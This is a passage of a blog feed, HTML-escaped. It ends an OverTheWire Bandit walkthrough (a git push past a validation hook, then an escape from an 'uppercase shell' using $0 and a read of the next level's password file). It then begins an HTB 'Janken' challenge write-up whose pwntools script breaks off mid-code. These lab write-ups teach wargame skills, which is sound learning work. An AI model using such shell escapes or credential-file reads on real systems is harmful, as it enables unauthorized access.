&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Changes to be committed:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  (use &amp;quot;git restore --staged &amp;lt;file&amp;gt;...&amp;quot; to unstage)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot; style=&quot;background-color: light-dark(#EBDBB260, #393836);&quot;&gt;&lt;span&gt;        new file:   key.txt&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Now we need to commit this change with the &lt;code&gt;git commit&lt;&#x2F;code&gt; command. This applies our changes to the &lt;code&gt;master&lt;&#x2F;code&gt; branch.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ git commit -m &amp;quot;Add key.txt&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[master a1f8c06] Add key.txt&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; 1 file changed, 1 insertion(+)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; create mode 100644 key.txt&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And finally, we can use the &lt;code&gt;git push&lt;&#x2F;code&gt; command to push our new commit to the remote repository.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ git push origin master&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote class=&quot;markdown-alert-warning&quot;&gt;
&lt;p&gt;Watch out! If the content of &lt;code&gt;key.txt&lt;&#x2F;code&gt; does not match the prescribed text &lt;em&gt;exactly&lt;&#x2F;em&gt; you may receive an error like this.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Enumerating objects: 4, done.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Counting objects: 100% (4&#x2F;4), done.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Delta compression using up to 2 threads&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Compressing objects: 100% (2&#x2F;2), done.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Writing objects: 100% (3&#x2F;3), 323 bytes | 323.00 KiB&#x2F;s, done.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Total 3 (delta 0), reused 0 (delta 0), pack-reused 0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot; style=&quot;background-color: light-dark(#EBDBB260, #393836);&quot;&gt;&lt;span&gt;remote: ### Attempting to validate files... ####&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot; style=&quot;background-color: light-dark(#EBDBB260, #393836);&quot;&gt;&lt;span&gt;remote:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot; style=&quot;background-color: light-dark(#EBDBB260, #393836);&quot;&gt;&lt;span&gt;remote: .oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot; style=&quot;background-color: light-dark(#EBDBB260, #393836);&quot;&gt;&lt;span&gt;remote:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot; style=&quot;background-color: light-dark(#EBDBB260, #393836);&quot;&gt;&lt;span&gt;remote: Wrong!&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot; style=&quot;background-color: light-dark(#EBDBB260, #393836);&quot;&gt;&lt;span&gt;remote:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot; style=&quot;background-color: light-dark(#EBDBB260, #393836);&quot;&gt;&lt;span&gt;remote: .oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;remote:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;To ssh:&#x2F;&#x2F;localhost:2220&#x2F;home&#x2F;bandit31-git&#x2F;repo&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;! [remote rejected] master -&amp;gt; master (pre-receive hook declined)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;error: failed to push some refs to &amp;#39;ssh:&#x2F;&#x2F;localhost:2220&#x2F;home&#x2F;bandit31-git&#x2F;repo&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;&#x2F;blockquote&gt;
&lt;p&gt;If everything is in order, you’ll get some feedback from the git server which will include the next password.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;remote: ### Attempting to validate files... ####&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;remote:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;remote: .oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;remote:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot; style=&quot;background-color: light-dark(#EBDBB260, #393836);&quot;&gt;&lt;span&gt;remote: Well done! Here is the password for the next level:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot; style=&quot;background-color: light-dark(#EBDBB260, #393836);&quot;&gt;&lt;span&gt;remote: [REDACTED LEVEL32 PASSWORD]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;remote:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;remote: .oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;remote:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;To ssh:&#x2F;&#x2F;localhost:2220&#x2F;home&#x2F;bandit31-git&#x2F;repo&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; ! [remote rejected] master -&amp;gt; master (pre-receive hook declined)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;error: failed to push some refs to &amp;#39;ssh:&#x2F;&#x2F;localhost:2220&#x2F;home&#x2F;bandit31-git&#x2F;repo&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h3 id=&quot;level-32&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#level-32&quot; aria-label=&quot;Anchor link for: level-32&quot;&gt;Level 32&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;After all this git stuff, it’s time for another escape. Good luck!&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;After logging in to bandit32 you’ll find yourself in an “UPPERCASE” shell, all entered text appears to be converted to uppercase.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;WELCOME TO THE UPPERCASE SHELL&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;gt;&amp;gt; cat &#x2F;etc&#x2F;passwd&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;sh: 1: CAT: Permission denied&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;It’s possible to reference some environment variables such as &lt;code&gt;$PATH&lt;&#x2F;code&gt;, &lt;code&gt;$PWD&lt;&#x2F;code&gt;, &lt;code&gt;$SHELL&lt;&#x2F;code&gt;, and &lt;code&gt;$USER&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;gt;&amp;gt; $PATH&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;sh: 1: &#x2F;usr&#x2F;local&#x2F;sbin:&#x2F;usr&#x2F;local&#x2F;bin:&#x2F;usr&#x2F;sbin:&#x2F;usr&#x2F;bin:&#x2F;sbin:&#x2F;bin:&#x2F;usr&#x2F;games:&#x2F;usr&#x2F;local&#x2F;games:&#x2F;snap&#x2F;bin: not found&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;gt;&amp;gt; $PWD&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;sh: 1: &#x2F;home&#x2F;bandit32: Permission denied&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;gt;&amp;gt; $USER&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;sh: 1: bandit32: Permission denied&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;You see, just accessing the variable, the Uppercase Shell tries to execute the contents seemingly with the &lt;code&gt;sh&lt;&#x2F;code&gt; shell. This is great, but not enough.&lt;&#x2F;p&gt;
&lt;p&gt;You have to know about a special shell variable, &lt;code&gt;$0&lt;&#x2F;code&gt;. The &lt;code&gt;$0&lt;&#x2F;code&gt; shell variable expands to the name of the shell or shell script being executed which in this case is &lt;code&gt;sh&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Therefore, providing the &lt;code&gt;$0&lt;&#x2F;code&gt; variable will execute the &lt;code&gt;sh&lt;&#x2F;code&gt; command dropping us into a normal shell.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;gt;&amp;gt; $0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;From here’s it’s just a matter of printing the next password from the file as we’ve done many times before.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ cat &#x2F;etc&#x2F;bandit_pass&#x2F;bandit33&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[REDACTED LEVEL33 PASSWORD]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;the-end&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#the-end&quot; aria-label=&quot;Anchor link for: the-end&quot;&gt;The End&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Congratulations! You made it! I hope you had fun working through all these challenges. There were a couple tricky ones that I didn’t get them all myself on the first time around.&lt;&#x2F;p&gt;
&lt;p&gt;If this wargame has piqued your interest I’ve also written a couple other walkthroughs.&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;www.cblanken.dev&#x2F;blog&#x2F;overthewirenatas&#x2F;&quot;&gt;OverTheWire Natas&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;www.cblanken.dev&#x2F;blog&#x2F;overthewireleviathan&#x2F;&quot;&gt;OverTheWire Leviathan&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;If the OverTheWire wargames aren’t quite your cup of tea though, then I highly recommend the &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;picoctf.org&quot;&gt;picoCTF&lt;&#x2F;a&gt; platform run by Carnegie Mellon University. They host an annual CTF event, but challenges from previous years are all available to practice. The picoCTF challenges cover a wide range of topics and levels of difficulty so that anyone can find something interesting.&lt;&#x2F;p&gt;
&lt;p&gt;Finally, a big thanks to the folks at &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;overthewire.org&#x2F;&quot;&gt;OverTheWire&lt;&#x2F;a&gt; for maintaining the infrastructure for the OverTheWire wargames. They’re such a great resource for folks first dipping their toes into cybersecurity and CTFs.&lt;&#x2F;p&gt;
&lt;p&gt;Happy hacking!&lt;&#x2F;p&gt;
&lt;section class=&quot;footnotes&quot;&gt;
&lt;ol class=&quot;footnotes-list&quot;&gt;
&lt;li id=&quot;fn-1&quot;&gt;
&lt;p&gt;Just like almost every cryptographic system, it’s possible for SSH to be used incorrectly, thus &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;sandflysecurity.com&#x2F;blog&#x2F;ssh-key-compromise-risks-and-countermeasures&#x2F;&quot;&gt;compromising it’s security&lt;&#x2F;a&gt;. &lt;a href=&quot;#fr-1-1&quot;&gt;↩&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li id=&quot;fn-2&quot;&gt;
&lt;p&gt;SSL and TLS both commonly refer to &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Transport_Layer_Security&quot;&gt;Transport Layer Security&lt;&#x2F;a&gt; which is a protocol designed for secure communications over computer networks. SSL (Secure Sockets Layer) is a legacy term referring to the precursor to TLS, but the terms are often used interchangeably. However, modern applications should not be communicating via SSL since its final version (SSL 3.0) was deprecated in 2015. &lt;a href=&quot;#fr-2-1&quot;&gt;↩&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li id=&quot;fn-3&quot;&gt;
&lt;p&gt;Ports 1-1024 are privileged ports and can’t be used without root permissions. That’s because commonly known services are hosted on these ports and should ideally only be accessible by a system administrator. Anything from 1025 to 65535 should be fine though. If by chance you receive an error message of &lt;code&gt;nc: Address already in use&lt;&#x2F;code&gt;, then try another. &lt;a href=&quot;#fr-3-1&quot;&gt;↩&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li id=&quot;fn-4&quot;&gt;
&lt;p&gt;Some programs, in particular archiving and compression utilities like &lt;code&gt;tar&lt;&#x2F;code&gt;, &lt;code&gt;gzip&lt;&#x2F;code&gt;, and &lt;code&gt;bzip2&lt;&#x2F;code&gt; will refuse to operate on files without an appropriate file extension, but most programs will instead read the first few bytes of a file to determine it’s type. Commonly known as &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;List_of_file_signatures&quot;&gt;magic numbers&lt;&#x2F;a&gt; &lt;a href=&quot;#fr-4-1&quot;&gt;↩&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;section&gt;
</description>
      </item>
      <item>
          <title>HTB Apocalypse 2023 - Janken</title>
          <pubDate>Sat, 25 Mar 2023 00:00:00 +0000</pubDate>
          <author>Cameron Blankenbuehler</author>
          <link>https://www.cblanken.dev/blog/janken/</link>
          <guid>https://www.cblanken.dev/blog/janken/</guid>
          <description xml:base="https://www.cblanken.dev/blog/janken/">&lt;h2 id=&quot;problem-description&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#problem-description&quot; aria-label=&quot;Anchor link for: problem-description&quot;&gt;Problem description&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Janken is an &lt;em&gt;easy&lt;&#x2F;em&gt; rated Misc challenge.&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;As you approach an ancient tomb, you’re met with a wise guru who guards its entrance. In order to proceed, he challenges you to a game of Janken, a variation of rock paper scissors with a unique twist. But there’s a catch: you must win 100 rounds in a row to pass. Fail to do so, and you’ll be denied entry.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;analysis&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#analysis&quot; aria-label=&quot;Anchor link for: analysis&quot;&gt;Analysis&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Analyzing the decompilation of the binary (&lt;code&gt;janken&lt;&#x2F;code&gt;), we find a loop for the 100 rounds mentioned in the prompt running the following &lt;code&gt;game&lt;&#x2F;code&gt; function.&lt;br&gt;
&lt;img src=&quot;&#x2F;images&#x2F;janken_ghidra_1.png&quot; alt=&quot;ghidra-1&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;solution&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#solution&quot; aria-label=&quot;Anchor link for: solution&quot;&gt;Solution&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Here’s an excerpt of the pwntools script used to solve the challenge.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #8BA4B0);&quot;&gt; start&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 2&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #8BA4B0);&quot;&gt;info&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#504945, #8BA4B0);&quot;&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #8BA4B0);&quot;&gt;recvuntil&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;&amp;gt;&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt; #&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt; prompt&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 3&lt;&#x2F;span&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #8BA4B0);&quot;&gt;sendline&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 4&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 5&lt;&#x2F;span&gt;&lt;span&gt;rps&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt; [&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;rock&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;scissors&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;paper&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 6&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 7&lt;&#x2F;span&gt;&lt;span&gt;rps_win&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 8&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;    &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;rock&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;paper&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
